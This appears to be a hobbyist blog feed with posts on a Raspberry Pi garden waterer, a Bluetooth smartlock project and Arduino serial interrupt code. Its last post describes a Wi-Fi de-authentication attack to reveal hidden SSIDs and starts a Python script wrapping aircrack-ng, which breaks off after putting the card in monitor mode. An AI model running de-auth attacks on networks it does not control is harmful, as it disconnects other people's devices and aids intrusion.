   <content type="html">&lt;p&gt;Aliffah just did her final year presentation last week.&lt;br /&gt;&lt;br /&gt;Oh yes, I managed to seduce her to do a Raspberry Pi-related project.&lt;br /&gt;&lt;br /&gt;Kudos me :-)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;iframe class=&quot;scribd_iframe_embed&quot; src=&quot;//www.scribd.com/embeds/239614000/content?start_page=1&amp;amp;view_mode=scroll&amp;amp;access_key=key-b3rI6oGfRQIZXbyGQ68b&amp;amp;show_recommendations=false&quot; data-auto-height=&quot;false&quot; data-aspect-ratio=&quot;1.3323485967503692&quot; scrolling=&quot;no&quot; id=&quot;doc_48805&quot; width=&quot;600&quot; height=&quot;800&quot; frameborder=&quot;0&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>GardenPi Taking care of your garden with Raspberry Pi</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/12/GardenPi-Taking-care-of-your-garden-with-Raspberry-Pi/"/>
   <updated>2014-09-12T18:55:14+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/12/GardenPi-Taking-care-of-your-garden-with-Raspberry-Pi</id>
   <content type="html">&lt;p&gt;I want to start collecting Raspberry Pi’s based projects so that when time comes (and as they becomes financially do-able), I’ll be able to build a couple of these useful ones. You know, never stop learning, never stop innovating.&lt;br /&gt;&lt;br /&gt;This one is not like any micro-controller based garden watering systems. It uses weather forecast (forecast.io API) to determine whether or not the watering should be done for the day! Sounds good, right?&lt;br /&gt;&lt;br /&gt;I don’t want these to be lost when the articles got deleted or the website becomes unavailable. So, I’d a copy of the articles here and put the reference where it’s due.&lt;br /&gt;&lt;br /&gt;Project Name : GardenPI&lt;br /&gt;Project Reference : &lt;b&gt;&lt;a href=&quot;http://spin.atomicobject.com/2014/06/28/raspberry-pi-gardening/&quot;&gt;LINK&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;——–&lt;br /&gt;&lt;br /&gt;&amp;lt;div style=&quot;background-color: white; border: 0px; color: #525758; font-family: Arial, sans-serif; font-size: 15px; line-height: 22px; margin-bottom: 22px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;Like any good “lazy programmer,” I’m always looking for ways to automate. This spring’s project: monitoring and watering my garden. I had a wifi-enabled Raspberry Pi laying around and decided to put it to good use. For this project I wanted to do better than just a glorified timer. The goal: An automated watering system that can use the weather forecast, soil, light, and temperature sensors to keep my garden looking great all summer.&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;background-color: white; border: 0px; color: #525758; font-family: Arial, sans-serif; line-height: 22px; margin-bottom: 22px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;&lt;b&gt;Phase 1 : Timer and Forecast-based Watering&lt;/b&gt;&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;background-color: white; border: 0px; color: #525758; font-family: Arial, sans-serif; font-size: 15px; line-height: 22px; margin-bottom: 22px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;I’ve written a simple script that wakes up at 10PM, determines the likelihood of rain, and waters accordingly. The script looks up the forecast using the &lt;a href=&quot;https://developer.forecast.io/&quot; style=&quot;background-color: transparent; border: 0px; color: #597b7c; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;Forecast.io API&lt;/a&gt;. If there is less than a 50% chance of rain, the GardenPi will water for a short duration.&lt;span id=&quot;more-108603&quot; style=&quot;background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;background-color: white; border: 0px; color: #525758; font-family: Arial, sans-serif; font-size: 15px; line-height: 22px; margin-bottom: 22px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;Future phases (already underway) will include sensors for temperature, soil moisture, light, and humidity. Based on that information, the GardenPi will be able to make better watering decisions. The sensor data could be made available via an onboard website or mobile application. Better sensors, form factor, time lapse, and user interface are all things that I’ll be looking at for future versions.&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;background-color: white; border: 0px; color: #525758; font-family: Arial, sans-serif; font-size: 15px; line-height: 22px; margin-bottom: 22px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;I’ve learned a lot in the last few weeks from building this project — a little bit more about basic electronics, how to solder, how to draw up schematics, and the joy of building actual gizmos that serve a purpose. I’ve also learned that I’m not the only one doing this kind of project with the Raspberry Pi; I’ve included links to other projects at the end of this post.&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;background-color: white; border: 0px; color: #525758; font-family: Arial, sans-serif; font-size: 15px; line-height: 22px; margin-bottom: 22px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;&lt;b&gt;Required Parts (approx. cost ~$85)&lt;/b&gt;&amp;lt;/div&amp;gt;&amp;lt;ul style=&quot;background-color: white; border: 0px; color: #525758; font-family: Arial, sans-serif; font-size: 15px; line-height: 22px; list-style-image: initial; list-style-position: initial; margin: 0px 0px 22px 2.5em; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;&amp;lt;li style=&quot;background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;Raspberry Pi&amp;lt;/li&amp;gt;&amp;lt;li style=&quot;background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;USB Wifi Dongle&amp;lt;/li&amp;gt;&amp;lt;li style=&quot;background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;SD Card&amp;lt;/li&amp;gt;&amp;lt;li style=&quot;background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;Soaker / Drip hose throughout the garden&amp;lt;/li&amp;gt;&amp;lt;li style=&quot;background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;&lt;a href=&quot;https://www.sparkfun.com/products/10456&quot; style=&quot;background-color: transparent; border: 0px; color: #597b7c; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;Solenoid&lt;/a&gt; for turning on the soaker hose&amp;lt;/li&amp;gt;&amp;lt;li style=&quot;background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;A female hose swivel adapter to connect your garden hose to the solenoid&amp;lt;/li&amp;gt;&amp;lt;li style=&quot;background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;&lt;a href=&quot;http://www.digikey.com/product-detail/en/LCA701/CLA386-ND/3077642&quot; style=&quot;background-color: transparent; border: 0px; color: #597b7c; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;Relay&lt;/a&gt; for switching 12V power&amp;lt;/li&amp;gt;&amp;lt;li style=&quot;background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;12V / Raspberry Pi power supplies&amp;lt;/li&amp;gt;&amp;lt;li style=&quot;background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;Assorted electronics (breadboard, resistors, wires, LED)&amp;lt;/li&amp;gt;&amp;lt;li style=&quot;background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;High tech weather resistant case (aka medium sized Tupperware container)&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;div&amp;gt;&lt;span style=&quot;color: #525758; font-family: Arial, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 15px; line-height: 22px;&quot;&gt;&lt;b&gt;Schematics&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-_zLPIIoDppk/VBNAcIIF_WI/AAAAAAAABAY/A_-ahqLC9pg/s1600/basic_watering_schematic.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-_zLPIIoDppk/VBNAcIIF_WI/AAAAAAAABAY/A_-ahqLC9pg/s1600/basic_watering_schematic.png&quot; height=&quot;531&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;span style=&quot;color: #525758; font-family: Arial, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 15px; line-height: 22px;&quot;&gt;&lt;b&gt;Getting Rpi ready&lt;/b&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;ol style=&quot;background-color: white; border: 0px; color: #525758; font-family: Arial, sans-serif; font-size: 15px; line-height: 22px; list-style-image: initial; list-style-position: initial; margin: 0px 0px 22px 2.5em; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;&amp;lt;li style=&quot;background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;Install &lt;a href=&quot;http://www.raspbian.org/&quot; style=&quot;background-color: transparent; border: 0px; color: #597b7c; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;Raspbian&lt;/a&gt; and configure WiFi access.&amp;lt;/li&amp;gt;&amp;lt;li style=&quot;background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;Install Ruby for root user.&amp;lt;/li&amp;gt;&amp;lt;li style=&quot;background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;Run &lt;code style=&quot;background-color: #eeeeee; border: 0px; color: #993333; font-family: Consolas, &apos;Liberation Mono&apos;, Courier, monospace; font-size: 14px; margin: 0px; outline: 0px; padding: 1px 5px; vertical-align: baseline;&quot;&gt;gem install god&lt;/code&gt;.&amp;lt;/li&amp;gt;&amp;lt;li style=&quot;background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;Pull the &lt;a href=&quot;https://github.com/shawn42/garden_pi_waterer&quot; style=&quot;background-color: transparent; border: 0px; color: #597b7c; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;garden_pi_waterer repository&lt;/a&gt; &amp;amp;&amp;amp; bundle install to install dependencies.&amp;lt;/li&amp;gt;&amp;lt;li style=&quot;background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;Modify the parameters (forecast.io API key, timing info, etc.) in &lt;code style=&quot;background-color: #eeeeee; border: 0px; color: #993333; font-family: Consolas, &apos;Liberation Mono&apos;, Courier, monospace; font-size: 14px; margin: 0px; outline: 0px; padding: 1px 5px; vertical-align: baseline;&quot;&gt;environment.rb&lt;/code&gt;.&amp;lt;/li&amp;gt;&amp;lt;li style=&quot;background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;Build out breakout board (see schematic below).&amp;lt;/li&amp;gt;&amp;lt;li style=&quot;background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;Connect the solenoid between water source and soaker hose, taking note of the directional arrow on the solenoid and using the adapter to connect the male end of your garden hose to the input on the solenoid.&amp;lt;/li&amp;gt;&amp;lt;li style=&quot;background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;Power up the Pi and your 12V power supply.&amp;lt;/li&amp;gt;&amp;lt;li style=&quot;background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;Install &lt;code style=&quot;background-color: #eeeeee; border: 0px; color: #993333; font-family: Consolas, &apos;Liberation Mono&apos;, Courier, monospace; font-size: 14px; margin: 0px; outline: 0px; padding: 1px 5px; vertical-align: baseline;&quot;&gt;install/init.d&lt;/code&gt; to &lt;code style=&quot;background-color: #eeeeee; border: 0px; color: #993333; font-family: Consolas, &apos;Liberation Mono&apos;, Courier, monospace; font-size: 14px; margin: 0px; outline: 0px; padding: 1px 5px; vertical-align: baseline;&quot;&gt;/etc/init.d/god&lt;/code&gt; and follow instructions in that file&amp;lt;/li&amp;gt;&amp;lt;li style=&quot;background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;Install &lt;code style=&quot;background-color: #eeeeee; border: 0px; color: #993333; font-family: Consolas, &apos;Liberation Mono&apos;, Courier, monospace; font-size: 14px; margin: 0px; outline: 0px; padding: 1px 5px; vertical-align: baseline;&quot;&gt;god.conf&lt;/code&gt; to &lt;code style=&quot;background-color: #eeeeee; border: 0px; color: #993333; font-family: Consolas, &apos;Liberation Mono&apos;, Courier, monospace; font-size: 14px; margin: 0px; outline: 0px; padding: 1px 5px; vertical-align: baseline;&quot;&gt;/home/pi&lt;/code&gt;&amp;lt;/li&amp;gt;&amp;lt;li style=&quot;background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;Restart and enjoy.&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&amp;lt;div style=&quot;background-color: white; border: 0px; color: #525758; font-family: Arial, sans-serif; font-size: 15px; line-height: 22px; margin-bottom: 22px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&amp;gt;&lt;b&gt;Results&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;I’ve watered my garden with a Raspberry Pi. Success. There is a lot of room for improvement, and I’m looking forward to extending the GardenPi’s capabilities.&lt;br /&gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>My Final Year Project (CSBS) presentation</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/10/My-Final-Year-Project-(CSBS)-presentation/"/>
   <updated>2014-09-10T20:35:37+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/10/My-Final-Year-Project-(CSBS)-presentation</id>
   <content type="html">&lt;p&gt;Below are the slides that I used during my final year project presentation. Basically, CSBS stands for Configurable Steganography Bluetooth-enabled Smartlock. In short, it uses the Bluetooth capabilities that exist in almost all smartphones to unlock the door.&lt;br /&gt;&lt;br /&gt;There are many similar projects, and some of their products are already in the market (Kevo, Goji). However, the different is that they are using Bluetooth 4.0 aka Bluetooth Low Energy (BLE) or Wifi. BLE exists only on newer smartphones and you need Wifi, well, you need the coverage to make it work. Plus, making your door connected to the internet might not really be a good thing (the Internet of Things downside).&lt;br /&gt;&lt;br /&gt;We attempted to make it work on Bluetooth 2.0 (the conventional one). I must say, given some financial help, I’d go making this project a real thing.&lt;br /&gt;&lt;br /&gt; &amp;lt;iframe class=&quot;scribd_iframe_embed&quot; data-aspect-ratio=&quot;1.3323485967503692&quot; data-auto-height=&quot;false&quot; frameborder=&quot;0&quot; height=&quot;600&quot; id=&quot;doc_60918&quot; scrolling=&quot;no&quot; src=&quot;//www.scribd.com/embeds/239342638/content?start_page=1&amp;amp;view_mode=scroll&amp;amp;access_key=key-QYuoS3u9gYBtfqiJT1cW&amp;amp;show_recommendations=true&quot; width=&quot;90%&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Arduino Serial communication with interrupt</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/10/Arduino-Serial-communication-with-interrupt/"/>
   <updated>2014-09-10T19:47:15+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/10/Arduino-Serial-communication-with-interrupt</id>
   <content type="html">&lt;p&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;The other day, I helped Joe with his project. The project requires the Arduino to listen to the Bluetooth communication (sent via an Android App) while also running its own program. The Bluetooth module uses the serial comm. To make it work, I’ll use this basic code for the interrupt which when triggered, it takes the Bluetooth communication’s input.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace; font-weight: bold;&quot;&gt;// To use this example, you have to connect Rx pin (digital pin 0) to interrupt 0 pin (digital pin 2).&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;void setup()&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;{&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;    // Using interrupt 0 on digital pin 2.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;    pinMode(2, INPUT);&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;    digitalWrite(2, LOW);&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;    Serial.begin(9600);&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;    attachInterrupt(0, serialInterrupt, CHANGE);&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    // Used to signal that main loop is alive.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;    pinMode(4, OUTPUT);&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;    digitalWrite(4, LOW);&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    // Used to signal that Serial input was read.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;    pinMode(5, OUTPUT);&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;    digitalWrite(5, LOW);&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;}&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;void loop()&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;{&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;  // Do something using even delays. There is an interrupt for that (Serial I/O)!&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;  // Blink led to signal loop is alive.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;  digitalWrite(4, HIGH);&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;  delay(500);&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;  digitalWrite(4, LOW);&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;  delay(500);&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;}&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;// Volatile, since it is modified in an ISR.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;volatile boolean inService = false;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;void serialInterrupt()&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;{&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;  // Trick: since Serial I/O in interrupt driven, we must reenable interrupts while in this Interrupt Service Routine.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;  // But doing so will cause the routine to be called nestedly, causing problems.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;  // So we mark we are already in service.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;  // Already in service? Do nothing.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;  if (inService) return;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;  // You was not in service. Now you are.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;  inService = true;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;  // Reenable interrupts, to allow Serial to work. We do this only if inService is false.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;  interrupts();&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;  // Allow serial to read at least one byte.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;  while(!Serial.available());&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;  // Blink led to signal Serial data arrived.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;  digitalWrite(5, !digitalRead(5));&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;  byte data = Serial.read();&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;  // Echo data back to developer ;-)&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;  Serial.print(data);&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;  // Job done.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;  inService = false;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Python script SSID sniffer, De-auth attack and Packets capturing using Aircrack-ng and tshark</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/10/Python-script-SSID-sniffer,-De-auth-attack-and-Packets-capturing-using-Aircrack-ng-and-tshark/"/>
   <updated>2014-09-10T19:46:43+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/10/Python-script-SSID-sniffer,-De-auth-attack-and-Packets-capturing-using-Aircrack-ng-and-tshark</id>
   <content type="html">&lt;p&gt;I was asked by my friend, Atikah to write some Python scripts for her final year project. The project involves discovering the hidden SSID of surrounding Wifi networks. Getting the non-hidden SSID is a matter of turning on the wireless card. For hidden SSID, the trick is to capture the authorization packets sent by the connected client to that Wifi network and get the SSID from the packet. &lt;br /&gt;&lt;br /&gt;To do, we do “De-Auth attack” on that specific client. As a result, we disconnect it from the Wifi network. Once it’s disconnected, it will try to reconnect to the Wifi network automatically by sending the “authorization” packets to that Wifi’s Access Point.&lt;br /&gt;&lt;br /&gt;We then capture these packets and analyse it for information.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;#!/usr/bin/env python&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;import os&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;from time import sleep&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;print “1 - Put the wireless card to monitor mode.”&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;print “2 - Sniff for surrounding wireless network and list all BSSIDs”&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;print “3 - Perform deAuth attack to a client from an AP”&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;print “4 - Capture packets into a file and examine it (if “&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;print “ “&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;print “IMPORTANT NOTE: Press CNTRL+C to stop both the sniffing process and packets capture process”&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;sleep(5) #pause for 3 seconds so user can read the info&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;try:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;    os.system(“airmon-ng start wlan0”) #set wireless card to monitor 